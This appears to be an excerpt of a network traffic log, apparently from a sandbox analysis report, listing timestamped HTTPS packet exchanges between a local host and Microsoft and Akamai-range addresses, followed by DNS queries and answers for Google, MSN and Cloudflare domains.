Nov 26, 2024 08:04:36.573530912 CET	443	49861	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:36.642232895 CET	443	49860	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:36.642911911 CET	49860	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:36.643004894 CET	443	49860	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:36.643567085 CET	49860	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:36.643580914 CET	443	49860	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:36.646452904 CET	443	49862	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:36.646738052 CET	49862	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:36.646754026 CET	443	49862	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:36.647075891 CET	49862	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:36.647085905 CET	443	49862	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:36.720308065 CET	443	49863	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:36.721137047 CET	49863	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:36.721162081 CET	443	49863	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:36.721506119 CET	49863	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:36.721509933 CET	443	49863	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:36.998270988 CET	443	49859	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:36.998327971 CET	443	49859	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:36.998586893 CET	49859	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:36.998764992 CET	49859	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:36.998765945 CET	49859	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:36.998811960 CET	443	49859	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:36.998845100 CET	443	49859	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:37.001728058 CET	49864	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:37.001786947 CET	443	49864	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:37.001872063 CET	49864	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:37.002046108 CET	49864	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:37.002060890 CET	443	49864	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:37.010567904 CET	443	49861	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:37.010726929 CET	443	49861	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:37.010802031 CET	49861	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:37.010827065 CET	49861	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:37.010839939 CET	443	49861	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:37.010849953 CET	49861	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:37.010854959 CET	443	49861	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:37.013232946 CET	49865	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:37.013268948 CET	443	49865	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:37.013339996 CET	49865	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:37.013465881 CET	49865	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:37.013475895 CET	443	49865	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:37.085140944 CET	443	49860	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:37.085294962 CET	443	49860	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:37.085556030 CET	49860	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:37.085556030 CET	49860	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:37.085556030 CET	49860	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:37.088258982 CET	49866	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:37.088289022 CET	443	49866	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:37.088371038 CET	49866	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:37.088489056 CET	49866	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:37.088500977 CET	443	49866	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:37.089764118 CET	443	49862	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:37.089837074 CET	443	49862	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:37.089992046 CET	49862	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:37.090040922 CET	49862	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:37.090040922 CET	49862	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:37.090065956 CET	443	49862	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:37.090086937 CET	443	49862	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:37.091883898 CET	49867	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:37.091917992 CET	443	49867	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:37.091976881 CET	49867	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:37.092097044 CET	49867	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:37.092114925 CET	443	49867	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:37.155225039 CET	443	49863	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:37.155287027 CET	443	49863	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:37.155474901 CET	49863	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:37.155499935 CET	49863	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:37.155510902 CET	443	49863	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:37.155519009 CET	49863	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:37.155523062 CET	443	49863	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:37.157602072 CET	49868	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:37.157692909 CET	443	49868	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:37.157780886 CET	49868	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:37.157908916 CET	49868	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:37.157959938 CET	443	49868	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:37.398538113 CET	49860	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:37.398556948 CET	443	49860	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:38.789644957 CET	443	49864	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:38.790189981 CET	49864	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:38.790220022 CET	443	49864	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:38.790668011 CET	49864	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:38.790674925 CET	443	49864	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:38.810292959 CET	443	49866	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:38.810729980 CET	49866	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:38.810743093 CET	443	49866	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:38.811110020 CET	49866	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:38.811114073 CET	443	49866	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:38.864797115 CET	443	49865	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:38.865299940 CET	49865	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:38.865318060 CET	443	49865	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:38.865793943 CET	49865	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:38.865798950 CET	443	49865	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:38.879195929 CET	443	49867	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:38.879570007 CET	49867	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:38.879578114 CET	443	49867	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:38.880007029 CET	49867	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:38.880009890 CET	443	49867	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:38.943429947 CET	443	49868	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:38.943851948 CET	49868	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:38.943893909 CET	443	49868	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:38.944277048 CET	49868	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:38.944283962 CET	443	49868	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:39.322613955 CET	443	49866	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:39.322700024 CET	443	49866	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:39.322770119 CET	49866	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:39.322964907 CET	49866	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:39.322988033 CET	443	49866	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:39.322998047 CET	49866	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:39.323004007 CET	443	49866	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:39.326025009 CET	49869	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:39.326062918 CET	443	49869	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:39.326340914 CET	49869	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:39.326340914 CET	49869	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:39.326371908 CET	443	49869	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:39.350275993 CET	443	49864	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:39.350333929 CET	443	49864	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:39.350399971 CET	49864	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:39.350624084 CET	49864	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:39.350624084 CET	49864	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:39.350641012 CET	443	49864	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:39.350650072 CET	443	49864	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:39.353030920 CET	49870	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:39.353080988 CET	443	49870	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:39.353173971 CET	49870	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:39.353357077 CET	49870	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:39.353375912 CET	443	49870	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:39.442410946 CET	443	49865	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:39.442481995 CET	443	49865	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:39.442667961 CET	49865	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:39.442771912 CET	49865	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:39.442789078 CET	443	49865	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:39.442800045 CET	49865	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:39.442806959 CET	443	49865	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:39.447026014 CET	49871	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:39.447038889 CET	443	49871	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:39.447098017 CET	49871	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:39.447289944 CET	49871	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:39.447303057 CET	443	49871	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:39.470426083 CET	443	49867	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:39.470515966 CET	443	49867	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:39.470582962 CET	443	49868	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:39.470653057 CET	443	49868	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:39.470686913 CET	49867	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:39.470714092 CET	49868	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:39.470786095 CET	49867	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:39.470791101 CET	443	49867	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:39.470801115 CET	49867	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:39.470803976 CET	443	49867	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:39.470942020 CET	49868	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:39.470969915 CET	443	49868	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:39.470983028 CET	49868	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:39.470998049 CET	443	49868	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:39.473660946 CET	49872	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:39.473679066 CET	443	49872	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:39.473736048 CET	49872	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:39.473881006 CET	49872	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:39.473896980 CET	443	49872	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:39.473927975 CET	49873	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:39.473970890 CET	443	49873	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:39.474025011 CET	49873	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:39.474101067 CET	49873	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:39.474113941 CET	443	49873	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:39.901521921 CET	49798	443	192.168.2.8	23.209.72.21
Nov 26, 2024 08:04:39.901555061 CET	443	49798	23.209.72.21	192.168.2.8
Nov 26, 2024 08:04:39.901588917 CET	49816	443	192.168.2.8	23.44.201.4
Nov 26, 2024 08:04:39.901595116 CET	443	49816	23.44.201.4	192.168.2.8
Nov 26, 2024 08:04:39.901745081 CET	49817	443	192.168.2.8	23.44.201.4
Nov 26, 2024 08:04:39.901762009 CET	443	49817	23.44.201.4	192.168.2.8
Nov 26, 2024 08:04:39.902071953 CET	49874	443	192.168.2.8	23.44.201.5
Nov 26, 2024 08:04:39.902121067 CET	443	49874	23.44.201.5	192.168.2.8
Nov 26, 2024 08:04:39.902187109 CET	49874	443	192.168.2.8	23.44.201.5
Nov 26, 2024 08:04:39.902394056 CET	49874	443	192.168.2.8	23.44.201.5
Nov 26, 2024 08:04:39.902414083 CET	443	49874	23.44.201.5	192.168.2.8
Nov 26, 2024 08:04:41.158324957 CET	443	49874	23.44.201.5	192.168.2.8
Nov 26, 2024 08:04:41.158684015 CET	49874	443	192.168.2.8	23.44.201.5
Nov 26, 2024 08:04:41.158708096 CET	443	49874	23.44.201.5	192.168.2.8
Nov 26, 2024 08:04:41.159709930 CET	443	49874	23.44.201.5	192.168.2.8
Nov 26, 2024 08:04:41.159769058 CET	49874	443	192.168.2.8	23.44.201.5
Nov 26, 2024 08:04:41.160052061 CET	49874	443	192.168.2.8	23.44.201.5
Nov 26, 2024 08:04:41.160111904 CET	443	49874	23.44.201.5	192.168.2.8
Nov 26, 2024 08:04:41.210583925 CET	49874	443	192.168.2.8	23.44.201.5
Nov 26, 2024 08:04:41.210598946 CET	443	49874	23.44.201.5	192.168.2.8
Nov 26, 2024 08:04:41.227792025 CET	443	49870	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:41.228357077 CET	49870	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:41.228383064 CET	443	49870	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:41.228843927 CET	49870	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:41.228851080 CET	443	49870	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:41.255604029 CET	443	49873	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:41.255770922 CET	443	49872	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:41.255992889 CET	49873	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:41.256022930 CET	443	49873	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:41.256153107 CET	49872	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:41.256184101 CET	443	49872	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:41.256402969 CET	49873	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:41.256409883 CET	443	49873	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:41.256577015 CET	49872	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:41.256583929 CET	443	49872	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:41.256628990 CET	49874	443	192.168.2.8	23.44.201.5
Nov 26, 2024 08:04:41.289942980 CET	443	49869	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:41.290254116 CET	49869	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:41.290270090 CET	443	49869	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:41.290589094 CET	49869	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:41.290594101 CET	443	49869	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:41.293390989 CET	443	49871	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:41.293651104 CET	49871	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:41.293662071 CET	443	49871	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:41.293992996 CET	49871	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:41.293997049 CET	443	49871	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:41.671982050 CET	443	49870	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:41.672054052 CET	443	49870	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:41.672110081 CET	49870	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:41.672283888 CET	49870	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:41.672305107 CET	443	49870	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:41.672317028 CET	49870	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:41.672322989 CET	443	49870	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:41.675287962 CET	49875	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:41.675338984 CET	443	49875	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:41.675400019 CET	49875	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:41.675553083 CET	49875	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:41.675569057 CET	443	49875	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:41.699883938 CET	443	49873	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:41.699947119 CET	443	49873	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:41.700110912 CET	49873	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:41.700372934 CET	49873	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:41.700372934 CET	49873	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:41.700392008 CET	443	49873	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:41.700401068 CET	443	49873	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:41.700501919 CET	443	49872	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:41.700571060 CET	443	49872	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:41.700624943 CET	49872	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:41.700663090 CET	49872	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:41.700675964 CET	443	49872	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:41.700711012 CET	49872	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:41.700716019 CET	443	49872	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:41.703903913 CET	49876	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:41.703939915 CET	443	49876	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:41.704011917 CET	49876	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:41.704442978 CET	49876	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:41.704458952 CET	443	49876	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:41.705286026 CET	49877	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:41.705313921 CET	443	49877	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:41.705374956 CET	49877	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:41.705486059 CET	49877	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:41.705497026 CET	443	49877	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:41.744965076 CET	443	49869	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:41.745152950 CET	443	49869	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:41.745254993 CET	49869	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:41.745359898 CET	49869	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:41.745373011 CET	443	49869	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:41.745387077 CET	49869	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:41.745393991 CET	443	49869	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:41.748226881 CET	49878	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:41.748245001 CET	443	49878	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:41.748317957 CET	49878	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:41.748461962 CET	49878	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:41.748471975 CET	443	49878	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:41.751972914 CET	443	49871	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:41.752046108 CET	443	49871	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:41.752091885 CET	49871	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:41.752227068 CET	49871	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:41.752237082 CET	443	49871	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:41.752249956 CET	49871	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:41.752255917 CET	443	49871	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:41.754266024 CET	49879	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:41.754302025 CET	443	49879	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:41.754364014 CET	49879	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:41.754488945 CET	49879	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:41.754503965 CET	443	49879	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:43.457150936 CET	443	49875	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:43.457740068 CET	49875	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:43.457787991 CET	443	49875	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:43.458362103 CET	49875	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:43.458373070 CET	443	49875	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:43.484240055 CET	443	49876	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:43.484832048 CET	49876	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:43.484852076 CET	443	49876	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:43.485213041 CET	443	49877	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:43.485275984 CET	49876	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:43.485284090 CET	443	49876	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:43.486443043 CET	49877	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:43.486468077 CET	443	49877	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:43.486849070 CET	49877	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:43.486854076 CET	443	49877	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:43.600691080 CET	443	49879	13.107.246.63	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 26, 2024 08:03:22.540611029 CET	192.168.2.8	1.1.1.1	0xa9f3	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:03:22.540909052 CET	192.168.2.8	1.1.1.1	0xa9cf	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 26, 2024 08:03:29.447606087 CET	192.168.2.8	1.1.1.1	0xd188	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:03:29.447966099 CET	192.168.2.8	1.1.1.1	0x2a61	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 26, 2024 08:03:33.938186884 CET	192.168.2.8	1.1.1.1	0x7d9b	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:03:33.938543081 CET	192.168.2.8	1.1.1.1	0xf7d9	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 26, 2024 08:03:36.368100882 CET	192.168.2.8	1.1.1.1	0x89d3	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:03:36.368290901 CET	192.168.2.8	1.1.1.1	0x3e95	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 26, 2024 08:03:37.270812988 CET	192.168.2.8	1.1.1.1	0x5d1b	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:03:37.271159887 CET	192.168.2.8	1.1.1.1	0xa3d4	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 26, 2024 08:03:38.163062096 CET	192.168.2.8	1.1.1.1	0xde05	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:03:38.163265944 CET	192.168.2.8	1.1.1.1	0xb5fc	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 26, 2024 08:03:38.164480925 CET	192.168.2.8	1.1.1.1	0xcac8	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:03:38.164666891 CET	192.168.2.8	1.1.1.1	0x4ab	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 26, 2024 08:03:38.173614979 CET	192.168.2.8	1.1.1.1	0xc925	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:03:38.174031019 CET	192.168.2.8	1.1.1.1	0x98eb	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 26, 2024 08:03:39.235388041 CET	192.168.2.8	1.1.1.1	0x5020	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:03:39.235615015 CET	192.168.2.8	1.1.1.1	0x7363	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 26, 2024 08:03:39.247528076 CET	192.168.2.8	1.1.1.1	0x3d6c	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:03:39.247733116 CET	192.168.2.8	1.1.1.1	0x7182	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 26, 2024 08:03:39.380059958 CET	192.168.2.8	1.1.1.1	0xce15	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:03:39.380228996 CET	192.168.2.8	1.1.1.1	0xa011	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 26, 2024 08:03:39.524863958 CET	192.168.2.8	1.1.1.1	0x1dd5	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:03:39.525077105 CET	192.168.2.8	1.1.1.1	0x38f5	Standard query (0)	api.msn.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 26, 2024 08:03:22.681279898 CET	1.1.1.1	192.168.2.8	0xa9f3	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:03:22.681648970 CET	1.1.1.1	192.168.2.8	0xa9cf	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 26, 2024 08:03:29.586960077 CET	1.1.1.1	192.168.2.8	0xd188	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 08:03:29.586960077 CET	1.1.1.1	192.168.2.8	0xd188	No error (0)	plus.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:03:29.587416887 CET	1.1.1.1	192.168.2.8	0x2a61	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 08:03:34.082734108 CET	1.1.1.1	192.168.2.8	0x7d9b	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
